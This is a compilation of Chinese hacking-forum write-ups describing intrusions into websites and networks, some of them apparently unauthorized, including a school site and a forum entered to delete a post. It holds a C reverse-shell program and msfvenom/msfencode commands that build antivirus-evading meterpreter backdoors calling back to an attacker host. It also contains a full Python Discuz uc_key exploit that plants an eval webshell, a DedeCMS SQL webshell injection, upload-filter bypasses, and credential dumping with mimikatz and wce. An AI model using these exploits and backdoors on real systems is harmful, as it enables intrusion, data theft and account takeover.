    hax.sin_family = AF_INET;                                                                      

    hax.sin_port =  htons(atoi(argv[2]));                                                          

hax.sin_addr.s_addr = inet_addr(argv[1]);       

    WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL); 

    memset(&ini_processo,0,sizeof(ini_processo)); 

    ini_processo.cb=sizeof(ini_processo);         

    ini_processo.dwFlags=STARTF_USESTDHANDLES;    

ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;                                                                                            
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CreateProcessA(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,(LPSTARTUPINFOA)&ini_processo,&processo

_info);    

        return 0; 

} 

编译过程省略。为什么不用 nc 呢？nc 容易被干掉，这个反弹命令很简洁 n.exe ip port 很少

被杀掉。依照上面的上传 udf 的步骤，将该文件上传至可写目录，本地监听执行之。 

nc -lvv 443 发现有数据返回，但一执行命令就退出。（将一切未知异常归咎为安全软件在作

祟）怎么办？？？试试 metasploit 里面的 windows/meterpreter/reverse_https(meterpreter 

https 反向 shell)生成一个后门： 

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 

SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f exe -e -i 

20 >/var/www/nokill.exe。未作任何处理上传上去发现被干掉。早就该意料到。被干掉没关

系的，metasploit 支持各种编码并且可以自定义任意 exe 文件模板来免杀, 如图 1-2-6： 

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 

SessionCommunicationTimeout=0 SessionExpirationTimeout=0 R |msfencode -e x86/shikata_ga_nai -c 5 -t raw 

|msfencode -e x86/alpha_upper -c 2 -t raw |msfencode -e x86/shikata_ga_nai -c 5 -t raw|msfencode -e 

x86/countdown -c 5 -t raw|msfencode -e x86/fnstenv_mov -t raw |msfencode -e x86/fnstenv_mov -c 5 -t raw 

|msfencode -t exe -x ~/Desktop/procdump.exe -o ~/Desktop/pe_lost.exe –e 

 

图  1-2-6 

经过多层多种编码并且定义一个模板文件。相关编码就不解释了，反正我也不懂具体如何编

码的。-x 选项使用任意的 windows 可执行程序作为模板文件，这里我选了 procdump.exe (微

软的小工具)作为模板文件。 

执行： 
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msf > use multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_httpspayload => 

windows/meterpreter/reverse_httpsmsf exploit(handler) > set lhost 192.168.1.100lhost => 192.168.1.100msf 

exploit(handler) > set lport 443lport => 443msf exploit(handler) > exploit 

use multi/handler 不用解释吧。设置下面两个参数是为了持久性 https 连接，防止意外中断，

即使中断了也可以继续。 

SessionCommunicationTimeout=0   SessionExpirationTimeout=0 

将后门上传上去发现没有被杀。meterpreter 也正常使用。由于是用之前的 udf 系统权限执

行的所以可以直接 gethash，如图 1-2-7： 

 

图  1-2-7 

看看 meterpreter 插件列表有哪些： 

meterpreter > load -l 

espia 

incognito 

lanattacks 

mimikatz 

pivot 

priv 

sniffer 

stdapi 

很好 mimikatz 也集成在里面了，看看如何使用吧，如图 1-2-8： 

 

图  1-2-8 

没抓到有用的系统用户明文，因为没有用户登录嘛。query user 查询下，如图 1-2-9： 
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图  1-2-9 

（全文完）责任编辑：鲨影_sharow 

第7节 渗透流水账（关于 3389 与 NLA） 

作者：ettack 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

好久没上论坛了，之前自己过意不去，让凡哥先把我核心给撤销了，现在终于寒假了，来写

点东西吧。我知道，我说我大学比高中忙你们不会信。 

记录一个过程，就是流水账，重点想说的是后面 3389 涉及到 NLA 的部分。 

目标站：target.com 

先收集信息，二级域名，子目录什么的，略过不提。 

0x00 注入 

尝试用户注册，观察到如下特征，怀疑有注入，如图 1-3-1： 

 

图  1-3-1 

开 burpsuite 进一步测试，截包，发送到 repeater，如图 1-3-2，1-3-3，1-3-4： 
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图  1-3-2 

 
图  1-3-3 

 
图  1-3-4 

请出 sqlmap: 

Python sqlmap.py –u “http://target.com/AjaxAreaCheck.aspx?companyname=test” –thread=10 –random-agent 

–passwords 

获取到 sa 的密码 hash，解密可外连。尝试 xp_cmdshell，发现被降权，如图 1-3-5： 

 
图  1-3-5 

0x01 拿 shell 提权 
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改换思路，先写 webshell 试试。用 xp_subdirs 找到网站绝对路径，然后写入文件： 

declare @o int, @f int, @t int, @ret int 

exec sp_oacreate 'scripting.filesystemobject', @o out 

exec sp_oamethod @o, 'createtextfile', @f out, 'File to write', 1 

exec @ret = sp_oamethod @f, 'writeline', NULL, 'File content' 

这时发生一个心惊肉跳的事情，脑抽直接把 aspx 一句话写到 index.html 里去了，于是迅速

重新写马，菜刀连接，开始翻首页文件备份，恢复之，一切都在几十秒之间。之后把动作停

了一段时间，观察是否引起注意。 

还好，风平浪静，提醒大家以后睡够觉再玩，不然手一抖事情就玩大了。舒了口气，菜刀虚

拟终端连接，可以执行命令，权限较低，尝试用 iis7 的 exp 提权，直接成功。 

0x02 连 3389 

为了操作方便，或者是因为野心需要，拿到 system 权限还不够，还要对 3389 下毒手... 

要登 3389，无非三个办法: 

1.加用户 

2.Shift 后门 

3.获取已有用户的密码 

由于第一个办法隐匿度太低，对于管理比较频繁的站一般不采用。尝试方法二。 

先连接 3389，结果发现要先输入登录信息，而不是想象中的直接进到登陆界面，这样就无

法触发 shift 后门，如图 1-3-6： 

 
图  1-3-6 
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Google 之，发现 windowsserver 2008 采用了 NLA (NetworkLevel Authentication)，可以设置还

原为经典模式，但看到的方法都是界面操作。作为一个有精液的黑阔，我深信可以更改注册

表值来操作，经过一番深入 google 挖掘，找到方法： 

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v "SecurityLayer" /t 

REG_SZ /d "0" 

但是要使设置生效，就必须让服务器重启，这样动作就大了。于是考虑方法三。老套路，上

传 wce x64，-w 参数尝试读取明文密码，成功。 

0x03 结语 

此次渗透过程的主要收获是，当只能通过 shift 后门登陆 3389，遇到 windowsserver 2008 的

NLA 验证，使得 shift 后门无用武之地，可以通过更改注册表方式回到经典模式。 

（全文完）责任编辑：鲨影_sharow 

第8节 Discuz X 用 uc_key getshell exp 与 uc_key 重置论坛密

码总结 

作者：jinglingshu 

来自：法客论坛 — F4ckTeam 

网址：http://team.f4ck.org/ 

一、Discuz X1.5 X2.5 X3 用 uc_key 来 get webshell 

uc_key 是 UC 客户端与服务端通信的通信密钥。因此使用 uc_key 来 getshell 只能获取 UCenter 

Client 的 webshell，即 Discuz！论坛的 webshell。 

如果一个服务器上只有 UCenter Server 是不能通过 uc_key 来获取该服务器上的 webshell 的

（不过可以通过 uc_key 来将服务器上的数据并重置用户口令，后面讲）。 

90 分享的 php 版的 exp 代码 uc_key 和 url 是嵌入在代码中的，因此导致使用不方便。所以

我将代码改成 python 版的，以后使用就方便了。 

代码如下： 

#! /usr/bin/env python 

#coding=utf-8 

import hashlib 

import time 

import math 

import base64 

import urllib 

import urllib2 

import sys 

def microtime(get_as_float = False) : 

    if get_as_float: 

        return time.time() 

    else: 

        return '%.8f %d' % math.modf(time.time()) 

def get_authcode(string, key = ''): 

    ckey_length = 4 
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    key = hashlib.md5(key).hexdigest() 

    keya = hashlib.md5(key[0:16]).hexdigest() 

    keyb = hashlib.md5(key[16:32]).hexdigest() 

    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] 

    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] 

    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 

    key_length = len(cryptkey) 

    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string 

    string_length = len(string) 

    result = '' 

    box = range(0, 256) 

    rndkey = dict() 

    for i in range(0,256): 

        rndkey[i] = ord(cryptkey[i % key_length]) 

    j=0 

    for i in range(0,256): 

        j = (j + box[i] + rndkey[i]) % 256 

        tmp = box[i] 

        box[i] = box[j] 

        box[j] = tmp 

    a=0 

    j=0 

    for i in range(0,string_length): 

        a = (a + 1) % 256 

        j = (j + box[a]) % 256 

        tmp = box[a] 

        box[a] = box[j] 

        box[j] = tmp 

        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) 

    return keyc + base64.b64encode(result).replace('=', '') 

def get_shell(url,key,host): 

    ''' 

    发送命令获取 webshell 

    ''' 

    headers={'Accept-Language':'zh-cn', 

    'Content-Type':'application/x-www-form-urlencoded', 

    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 

    'Referer':url 

    } 

    tm = time.time()+10*3600 

    tm="time=%d&action=updateapps" %tm 

    code = urllib.quote(get_authcode(tm,key)) 

    url=url+"?code="+code 

    data1='''<?xml version="1.0" encoding="ISO-8859-1"?> 
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            <root> 

            <item id="UC_API">http://xxx\');eval($_POST[1]);//</item> 

            </root>''' 

    try: 

        req=urllib2.Request(url,data=data1,headers=headers) 

        ret=urllib2.urlopen(req) 

    except: 

        return "访问出错" 

    data2='''<?xml version="1.0" encoding="ISO-8859-1"?> 

            <root> 

            <item id="UC_API">http://aaa</item> 

            </root>''' 

    try: 

        req=urllib2.Request(url,data=data2,headers=headers) 

        ret=urllib2.urlopen(req) 

    except: 

        return "error" 

    return "webshell:"+host+"/config/config_ucenter.php,password:1" 

if __name__ == '__main__': 

    host=sys.argv[1] 

    key=sys.argv[2] 

    url=host+"/api/uc.php" 

    print get_shell(url,key,host) 

使用方法，如图 1-1-1： 

 
图  1-1-1 

即第一个参数是网站的根路径，第二个参数是 uc_key。 

获取的 webshell 是在/config/config_ucenter.php 中的，如图 1-1-2： 

 
图  1-1-2 
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ps:代码仓促编写，有什么问题请指出。本来打算通过 py2exe 来将其生成为 exe，担心大家

怕有后门不敢用，各位大牛就自己生成一下吧。经过测试在 discuz x2.5、x3、x3.1 下都测试

成功。 

ps:uc_key 可以在 discuz 后台中看，或者是通过泄露的配置文件中获取。 

访问 discuz 目录下的 admin.php 登陆后台，在“站长”->“UCenter 设置”中来查看 uc_key。 

如图 1-1-3： 

 

图  1-1-3 

参考资料： 

1、http://pan.baidu.com/s/1bn5qcTT 

2、http://pan.baidu.com/s/1c0gl5o0 

二、使用 UC_KEY 可重置论坛（除 uid 为 1 的）任意用户的密码 

通过获取到的 UC_KEY，即可重置论坛任意用户的密码，并清除安全提问。注意本重置任意

用户密码的方法并不适用于 uid 为 1 的用户（即管理员），因为会将本地的管理员用户覆盖，

从而登陆不进去本地搭建的 dz 后台(重置管理员 uid 为 1 的方法后面讲)。 

目标站点：http://192.168.32.101/dz/。管理员 jinglingshu，建了两个用户 test1 和 test2。uc_key

为 B4s07bE2n5nef8e2M2F0a3Y8k7G6IeEb70G2Kf1cD0VfO0b1D8pcu6p773E487D9 

目标：重置 test1 的用户口令，如图 1-1-4： 

 
图  1-1-4 
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可以看到 test1 用户的 uid 为 2，重置密码的过程如下： 

1、本地搭建 dz。在“站长”->“UCenter 设置”中修改 UCenter 设置，然后保存。一定要选

择接口方式，且是否允许其他应用的会员在站点激活、是否允许直接激活两项配置开启。 

如图 1-1-5： 

 

图  1-1-5 

2、点击“工具”->“更新缓存”来更新缓存。然后在“用户”->“添加用户”中添加要重

置的用户，如图 1-1-6，1-1-7，1-1-8： 

 
图  1-1-6 
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图  1-1-7 

 
图  1-1-8 

ps:系统提示用户已经存在，是否在本地激活，选择是。 

3、查看本地添加的用户信息，并修改密码和清除安全提问，如图 1-1-9： 

 

图  1-1-9 

4、现在 test1 的用户的密码被修改为 123456，并清除了安全提问。使用 test1 和 123456 登
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陆远程站点，如图 1-1-10： 

 

图  1-1-10 

参考资料： 

http://pan.baidu.com/s/1i3BPywl 

三、使用 UC_KEY 重置 uid 为 1 的用户的密码 

上面的方法不适用于 uid 为 1 的用户，uid 为 1 的用户的密码重置方法如下。 

和上面一样，目标站点信息：http://192.168.32.101/dz/。管理员 jinglingshu，建了两个用户

test1 和 test2。uc_key 为

B4s07bE2n5nef8e2M2F0a3Y8k7G6IeEb70G2Kf1cD0VfO0b1D8pcu6p773E487D9。过程如下： 

1、本地搭建 dz。注意，安装过程中填写的管理员信息时要填写与目标站点一样的用户名，

而不是默认的 admin，密码则任意，如图 1-1-11： 

 

图  1-1-11 

2、和上面方法一样修改 ucenter 设置。在“站长”->“UCenter 设置”中修改 UCenter 设置，

然后保存。一定要选择接口方式，且是否允许其他应用的会员在站点激活、是否允许直接激

活两项配置开启。点击“工具”–>“更新缓存”来更新缓存，如图 1-1-12： 
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图  1-1-12 

3、修改本地 dz 管理员密码并清除用户安全提问，如图 1-1-13： 

 

图  1-1-13 
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4、上述操作后，目标站点管理员的口令就会被修改，且清除了用户安全提问。现在用此重

置后的密码登陆目标站点后台即可。 

如图 1-1-14，1-1-15： 

 

图  1-1-14 

 
图  1-1-15 

ps:上述过程只是总结，是怕自己忘记记录的。没技术含量，大牛勿喷。 

（全文完）责任编辑：鲨影_sharow 

第9节 Dede 后台没有文件管理器时拿 shell 方法 

作者：小小糖 

来自：法客论坛 — F4ckTeam 

网址：http://team.f4ck.org/ 

今天搞一个 dede 遇到站长把文件管理器给删掉了，无法上传 php 文件，那只能用下其他的

办法来解决了。这个方法不记得是在哪个网站看过的思路，自己实践了下。后台——SQL 命

令运器——执行命令： 

INSERT INTO `dede_myad` (`aid`, `clsid`, `typeid`, `tagname`, `adname`, `timeset`, `starttime`, `endtime`, 

`normbody`, `expbody`) VALUES  
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(2000, 0, 0, 'indexTopBanner1', '首页顶部导航大图-960*60', 0, 1297933028, 1300525028, '<?php 

file_put_contents(''f4ck.php'',''<?php eval($_POST[nimeimei]);?>''); ?>', '')， 

如图 1-4-1： 

 

图  1-4-1 

然后访问：http://site/plus/ad_js.php?aid=2000 （id 可以自己更换），文件生成在：

/plus/f4ck.php，一句话可以自行替换成过狗的，dedecms 最新版本依然可以这样喔！ 

（全文完）责任编辑：鲨影_sharow 

第10节 看程序员怎么玩渗透 

作者：phithon 

来自：法客论坛 — F4ckTeam 

网址：http://team.f4ck.org/ 

哈哈，欢迎大家观看程序员日站。平时基本不做这个，所以遇到各种问题，还请帮助我解决

问题。闲来无事，看到了一个自助建站的网站，感觉 10 年前很火的（我记得我小时候还上

过这个网站），但现在看已经是基本报废状态了。旁站都是在这个网站使用其建站服务的，

所以基本都用的一套系统，所以就从主站入手。 

0x01 

WVS 扫一下前台，基本毫无收获，如图 1-2-1： 

 

图  1-2-1 
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查一下域名的 whois，但是在 ename.com 上注册的，完全查不到信息。找到的联系邮箱是一

个相当于卖域名的人的邮箱，绑定了几万个域名„„nmap 扫一下端口发现是 IIS6.0，21、

80、1433、3389 都开着。暴力扫一下目录得到了一些东西，如图 1-2-2： 

 

图  1-2-2 

web.rar 肯定是整站的备份，/guanli 当然是后台地址了。于是我当时想，因为是一个 asp 网

站，所以数据库一般就在备份里。但是一看 web.rar 的大小„„1.5G，我小水管下的太慢，

怎办？百度网盘离线下载，如图 1-2-3： 

 
图  1-2-3 

下载完成后再直接在百度网盘里解压，如图 1-2-4： 

 
图  1-2-4 
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我们就可以任意下载 web.rar 中的东西了。 

0x02 

于是我兴致勃勃地开始在其中找寻大小像一个 access 数据库的文件，可惜没找到，基本都

是几十 KB 的。当时候我就在想，是不是备份的时候特地把数据库去掉了。我大致了解了一

下这个网站的目录结构，发现后台居然有两个（长的一样），不过两个后台都不存在万能密

码或者弱口令。作为一个程序员，接下来我就喜欢读读它的源码。这种老网站漏洞很多，于

是读了第一个文件我才发现„„原来数据库是 sqlserver„„在配置文件中找到密码，不是

sa 只是一个 dbo，但连接上就读到管理员账号密码了，如图 1-2-5： 

 
图  1-2-5 

还包括所有自助建站的网站的数据库，都可以查看。一下拿到好多裤子，如图 1-2-6： 

 

图  1-2-6 
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顺利解开管理员密码后登陆后台。 

0x03 

因为是 sqlserver 数据库所以不能差异备份。编辑器是自己做的，配置文件我没试。 

上传的位置有几个，但问题是上传是服务端白名单验证，上传以后文件重命名了，路径也不

能控制。 

我再一次产生好奇，下载了上传验证的文件的源码。作为一个程序员，读代码的时候到了： 

<% 

'set upload=new upload_file 

filepath="uploadpic/"        '上传路径 

set upload=new clsUp        ''建立上传对象 

upload.NoAllowExt="asp;asa;cer;aspx;cs;vb;js;"        '设置上传类型的黑名单 

upload.GetData (3072000)   '取得上传数据,限制最大上传 3M 

 

if upload.form("act")="uploadfile" then 

        'filepath="uploadpic/" 

        filelx=trim(upload.form("filelx")) 

        if cint(filelx)>3 then filelx="1" 

         

        i=0 

        for each formName in upload.File 

                set file=upload.File(formName) 

                fileExt=lcase(file.FileExt)        '得到的文件扩展名不含有. 

                if file.filesize<10 then 

                        response.write "<span style=""font-family: 宋体; font-size: 9pt"">请先选择你要上

传的文件！ [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>" 

                        response.end 

                end if 

                if filelx="1" then 

                        if fileext<>"gif" and fileext<>"jpg"  then 

                                response.write "<span style=""font-family: 宋体; font-size: 9pt"">只能上

传 jpg 或 gif 格式的图片！ [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>" 

                                response.end 

                        end if 

                        if file.filesize>(300*1024) then 

                                response.write "<span style=""font-family: 宋体; font-size: 9pt"">最大只

能上传 300K 的图片文件！ [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>" 

                                response.end 

                        end if 

                end if 

                if filelx="2" then 

                        if fileext<>"gif" and fileext<>"jpg" and fileext<>"swf"  then 

                                response.write "<span style=""font-family: 宋体; font-size: 9pt"">只能上

传 jpg、gif 格式的图片或 swf 格式的 Flash 文件！ [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>" 

                                response.end 
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                        end if 

                        if file.filesize>(300*1024) and fileext<>"swf" then 

                                response.write "<span style=""font-family: 宋体; font-size: 9pt"">最大只

能上传 300K 的图片文件！ [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>" 

                                response.end 

                        end if 

                        if file.filesize>(3000*1024) and fileext="swf" then 

                                response.write "<span style=""font-family: 宋体; font-size: 9pt"">最大只

能上传 3M 的 Flash 文件！ [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>" 

                                response.end 

                        end if 

                end if 

                if filelx="3" then 

                        if fileext<>"htm"  then 

                                response.write "<span style=""font-family: 宋体; font-size: 9pt"">只能上

传 htm 格式的网页文件！ [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>" 

                                response.end 

                        end if 

                        if file.filesize>(300*1024) then 

                                response.write "<span style=""font-family: 宋体; font-size: 9pt"">最大只

能上传 300K 的网页文件！ [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>" 

                                response.end 

                        end if 

                end if 

                dtNow=Now() 

                randomize 

                ranNum=int(90000*rnd)+10000                

'filename1=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 

                filename1=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) & 

right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum 

&"."&fileExt 

                filename=filepath&filename1 

                 

                if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据 

                        'file.SaveAs Server.mappath(filename)   ''保存文件 

                        upload.SaveToFile formName,Server.mappath(FileName) 

                        if trim(upload.form("FormName"))="" then 

%> 

其中有一个参数 filelx，文件类型。 

当 filelx=1 的时候，只允许 gif 和 jpg，当 filelx=2，允许 gif、jpg、swf，当 filelx=3，只允许 htm。

然后就完了，完了，没有 else！！ 

于是改包把 filelx 改成 0，根本不进入 if 语句，也就谈不上白名单验证了. 

如图 1-2-7： 
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图  1-2-7 

兴高采烈地发现上传成功了，如图 1-2-8： 

 
图  1-2-8 

0x04 

结果打开发现 404 错误„„ 

我试了一些别的，比如 txt，同样在白名单外，但是却不是 404。我当时就想，是不是这个

目录禁止执行了，但又读了读代码才发现，在白名单外还有个黑名单验证。黑名单限制了

asp/aspx/asa/cer，我当时也想不到别的可执行文件，但因为服务器是 IIS6.0，可以利用解析

漏洞，但文件被重命名了，怎么利用解析漏洞呢？文件虽然重命名了，但后缀没有重命名！

因为我绕过了白名单验证，所以后缀名可以任意。如果用 f4ck.asp;.gif，会被重命名成 xxxxx.gif，

但如果用 f4ck.asp;gif，就重命名成 xxxxx.asp;gif，如图 1-2-9： 

 

图  1-2-9 

因为它是取文件名的倒数第一个“点”后面的内容作为后缀。成功连接，如图 1-2-10： 

 
图  1-2-10 
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0x05 

提权问题比较大，水平太丑„„没有解决„„大马上看服务器 IP 是内网，但 3389 可以连接

上（转发了？）。只支持 asp,不支持 aspx 和 php 和 jsp，似乎不是虚拟主机，不能执行命令。

wscript.shell 组件没有，shell.application 组件没有，有个 shell.application.1 组件但用了没效

果„„没有装 serv-u，ftp服务器是Gene6 ftpd 3.10.0 build 2。1433是Microsoft SQL Server 2000 

8.00.2039.00；SP4。因为不能执行命令，所以没办法继续了。有大牛能指导。 

（全文完）责任编辑：鲨影_sharow 

第11节 对悠悠校园办公管理平台的一次渗透 

作者：甜甜圈 

来自：法客论坛–F4ckTeam 

网址：http://team.f4ck.org 

今天朋友发来一个学校网站，希望能够检测一下。照例打开看看 http://xxxx.szlg.edu.cn/，菜

鸟的手法，大家看看就好了„同时用御剑扫扫目录，发现网站是 jsp 的，还有其他目录，这

么多目录干脆所有目录都扫一遍，看看有什么信息，如图 4-2-1： 

 

图  4-2-1                                 图  4-2-3 

 

扫完之后御剑一片空白，如图 4-2-2： 

 

图  4-2-2 

什么都没有发现。有点郁闷..转到网站主页来看看有什么可以利用的地方，如图 4-2-3。 

拉到最下面，居然看到后台 system/login.jsp，果断打开看看，如图 4-2-4： 
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图  4-2-4 

试了常用的默认密码，admin 登录失败。看到客户端下载。我想下载下来看看源码也不错，

不得不吐槽一下，如图 4-2-5： 

 

图  4-2-5 

下载速度給限制到了 50KB，70M 下载了半个小时，我都快忘记了这个网站了，到百度查查

这个网站系统除了登录查找不到其他网站系统信息，如图 4-2-6： 

 

图  4-2-6 

转过头看看下载完成的，如图 4-2-7： 

 

图  4-2-7 

需要安装，果断不安装„ 

看下使用说明有没有什么利用的东西，例如默认登录密码，如图 4-2-8： 

 
图  4-2-8 
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运气不错，看到帐号：admin2000，算了一下密码的字符同样是 9 个。 

确定默认帐号密码就是 admin2000 admin2000。 

随便百度打开个登录试一下，如图 4-2-9： 

 
图  4-2-9 

居然进去了，爽歪歪，不过不是目标站。既然登录进来，顺便拿下 shell。 

应该没有过滤上传，随便找个上传的地方。 

头像这个地方，如图 4-2-10： 

 

图  4-2-10 

传 jsp 一句话，如图 4-2-11： 

 

图  4-2-11 

右键属性得到地址，嘿嘿，如图 4-2-12： 
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图  4-2-12 

菜刀连接，如图 4-2-13： 

 
图  4-2-13 

没 问 题 ， 马 上 转 回 目 标 站 点 ， 心 想 应 该 能 简 单 拿 下 ， 来 到 我 们 的 站 点 。

http://xxxx.szlg.edu.cn/system/login.jsp，如图 4-2-14： 
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图  4-2-14 

admin2000 登录，如图 4-2-15： 

 

图  4-2-15 

看来管理员改了密码了，组合了几个密码登录不了，网站是 jsp 我也不会注入 →_→，想想

有什么其他好办法 „，想到刚才不是拿了一个嘛 ，来看看源码有什么可以利用的地方，JSP 

大部分都是 system 权限 无压力克隆了一个帐号，如图 4-2-16： 

 
图  4-2-16 
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进去服务器翻网站，心想可以通过找数据库的位置 还有编辑器，翻了一会没看到数据库的

痕迹，看下编辑器，嘿嘿，給我翻到 fck 编辑器，如图 4-2-17： 

 
图  4-2-17 

果断复制路径到 

http://xxxxx.szlg.edu.cn/common\fckeditor\editor\filemanager\browser\default\browser.html 

打开上传，点击上传之后没有反映..没有上传上，如图 4-2-18： 

 

图  4-2-18 
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看来 fck 是要放弃了，继续翻网站，试过了，添加帐号 绕过后台这些，如图 4-2-19： 

 

图  4-2-19 

都没有奏效，如图 4-2-20： 

 

图  4-2-20 

不知道怎么没加上，转去看看其他地方吧.............看到一个上传，如图 4-2-21： 
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图  4-2-21 

好东西，访问看看，如图 4-2-22： 

 

图  4-2-22 

我又看到了希望，选择文件，上传，如图 4-2-23： 
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图  4-2-23 

呵呵呵。没有过滤，爽歪歪。不过看不到地址，抓包，如图 4-2-24： 

 

图  4-2-24 

到了服务器看下文件保存路径，如图 4-2-25： 

 

图  4-2-25 
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访问网站/fckuploadfile/webConotent/file/1379419091303577736.jsp，如图 4-2-26： 

 

图  4-2-26 

 

图  4-2-27 

成功拿下„大家以后看到这种系统可以这样拿下哦„希望大家遇到轻易放弃，当然也不要太

执着。因为是看到这个网站系统漏洞百出我才去翻网站找漏洞。 

（全文完）责任编辑：鲨影_sharow 

第12节 内网渗透中跨 vlan 渗透的一种思路 

作者：DM_ 

来自：法客论坛–F4ckTeam 

网址：http://team.f4ck.org 

前言 

随着日益发展的网络技术，网络线路也变的越来越复杂。渗透测试人员在 web 中通过注入，

上传等基本或高级脚本渗透方法到达了边界服务器。再深入时则会面对更复杂的网络。比如

如何跨 vlan。 

什么是 vlan 

http://baike.baidu.com/history/id=9328829 

测试拓扑图，如图 4-5-1： 
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图  4-5-1 

测试基本状况概述 

一共选取了三台服务器和一个 H3C s3610 三层交换机.顺带笔者的一台笔记本(Kali Linux)。 

三台服务器代表了 tec503 的基本业务划分。攻击者处在和 webserver 相同的 vlan200 中。并

且已控制到 webserver。在交换机上划分了三个 vlan 将 Tec503(假想的目标公司)的数据服务

器（dataserver.tec503.com）和 web 服务器（webserver.tec503.com）及域控分别划分在三个

vlan（vlan100，vlan200，vlan300）下。vlan100 和 vlan200 不能相互访问。但是都可以访问

到 vlan300。 

交换机开启 snmp 和 telnet，snmp 一般用来监控交换机流量等。telnet 用于管理三层交换机。 

测试目标 

在尽可能少留下痕迹的前提下，接触到 dataserver 的数据。 

前期基本渗透过程 

在前期信息搜集时发现 tec503.com 存在域传送漏洞。 

由此确定了此次测试的目标 ip(5.5.6.4)，如图 4-5-2： 

 
图  4-5-2 

并且 webserver 对外开放。在基本探测并且存在 web 漏洞。在获得 webshell 之后并成功获
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取到管理权限。在 webserver 上查看到网关 ip 为 172.10.0.1，试着 ping 一下，如图 4-5-3： 

 

图  4-5-3 

可以 ping 通。telnet 上去看到是一台 H3C 设备，如图 4-5-4： 

 

图  4-5-4 

尝试 123456，password，manager 等简单弱口令登陆，结果都失败。 

尝试 snmp 弱口令探测(这里的弱口令是指 snmp 管理时用到的团体字符串。 

一般可读权限的为 public，可读可写的默认为 private)，如图 4-5-5： 

 

图  4-5-5 
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发现果真使用 public 默认的可读团体字符串。 

继续尝试使用 snmp 获取到 H3C 设备密码，如图 4-5-6： 

 

图  4-5-6 

成功的获取到密码”admin”(忘了说 我前面是故意没有试 admin 的)之后便可以通过这个密

码 telnet 登陆到交换机中。 

如图 4-5-7，并成功的进入到 system-view 状态。 

 
图  4-5-7 

交换机下的渗透过程 

在成功通过 telnet 登陆到交换机后我们便可以开始收集交换机的各种配置信息（vlan 划分，

super 密码，路由表信息。Ip 池划分等等）并且这些信息除了 super 密码以外基本都可以通

过 snmp 的一个可读字符串获取到。 

而且对于思科设备来讲。 

如果有个可读可写的团体字符串，那么直接就可以下载到 cisco 的核心配置文件(含密码字符

串等). 

这里需要简单的说说三层交换机的两个最主要的功能，vlan 划分以及端口镜像.端口指的是

交换机上的端口，而不是计算机的服务端口。 

端口镜像则是指将交换机某个端口下的数据镜像到另一个端口的技术，并且可以选择镜像流

入或流出的数据包。 

这一技术通常应用在企业监控，流量分析中。在端口镜像时也应注意流量过高引发的问题。 

这次测试便是通过端口镜像技术获取到 dataserver 发送和接受到的数据包。 

我们先分析下这台交换机的配置文件，如图 4-5-8： 
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图  4-5-8 

在这里我们可以看到 super 密码 这个密码通过 ciper 加密。加密的字符串可以通过 

http://pan.baidu.com/s/1iQ6Kq 这个脚本解密。 

接下来看看 ip-pool 的划分。 

配合前期 nslookup 收集到的信息可以进一步清晰的逼近目标，如图 4-5-9： 

 

图  4-5-9 

根据上图可以发现我们现在处于 vlan200 中，目标处于 vlan100，域控在 300。 

那么我们继续看看每个正在使用的接口被划分到了哪个 vlan 中，如图 4-5-10： 

 

图  4-5-10 
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这里可以看到 Ethernet 1/0/3 在 vlan100 中.而 Ethernet 1/0/4 在 vlan200 中，也就是我们所处

的 vlan。 

清楚接口划分之后我们开始建立一个本地镜像组 1，如图 4-5-11： 

 

图  4-5-11 

然后制定被镜像的端口号，图 4-5-12： 

 

图  4-5-12 

接着制定监控端口号，如图 4-5-13： 

 
图  4-5-13 

然后登陆到我们控制的 webserver。使用抓包软件分析目标的数据包。 
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这是捕获 ICMP 数据包的示意图，如图 4-5-14： 

 

图  4-5-14 

这是捕获 HTTP 数据包的示意图，如图 4-5-15： 

 

图  4-5-15 

其他协议也应如此，具体分析过程就不叙述了。 
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后记 

路由和交换机在渗透过程中越来越常见，并且由于管理员配置经验欠当。经常出现默认配置，

弱口令等配置不当的问题。而且路由和交换机在网络中所处的位置也更加体现了它在一次渗

透过程中的重要性. 

参考  

H3C 以太网交换机配置指南 

wireshark 抓包实战分析指南 第二版 

WooYun: 中国移动 H3C 防火墙侧漏利用 snmp 获取管理员密码成功登录设备 

（全文完）责任编辑：鲨影_sharow 

第13节 Discuz x3 曲折删帖 

作者：哼哼哈哈 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

好久没发帖子了，刚好今天休息，把最几天刚搞的一点东西，整理总结了一下，写出来分享

给众基友，无亮点，大牛勿喷。 

话说某天妹子找我，让我帮她删个帖子，年少无知的时候在论坛里留的个人信息和图片，让

我帮忙删了于是就有了此文。 

0x1 顺利旁站 

简单看了下，服务器 linux，主站用的是 Discuz X3 ，这么高端的 cms，我等小菜一没有 0day，

二没有 exp，上网搜了一下 x3 的有关漏洞，算了，想多了。然后御剑看了下旁站，如图 1-2-1： 

 

图  1-2-1 

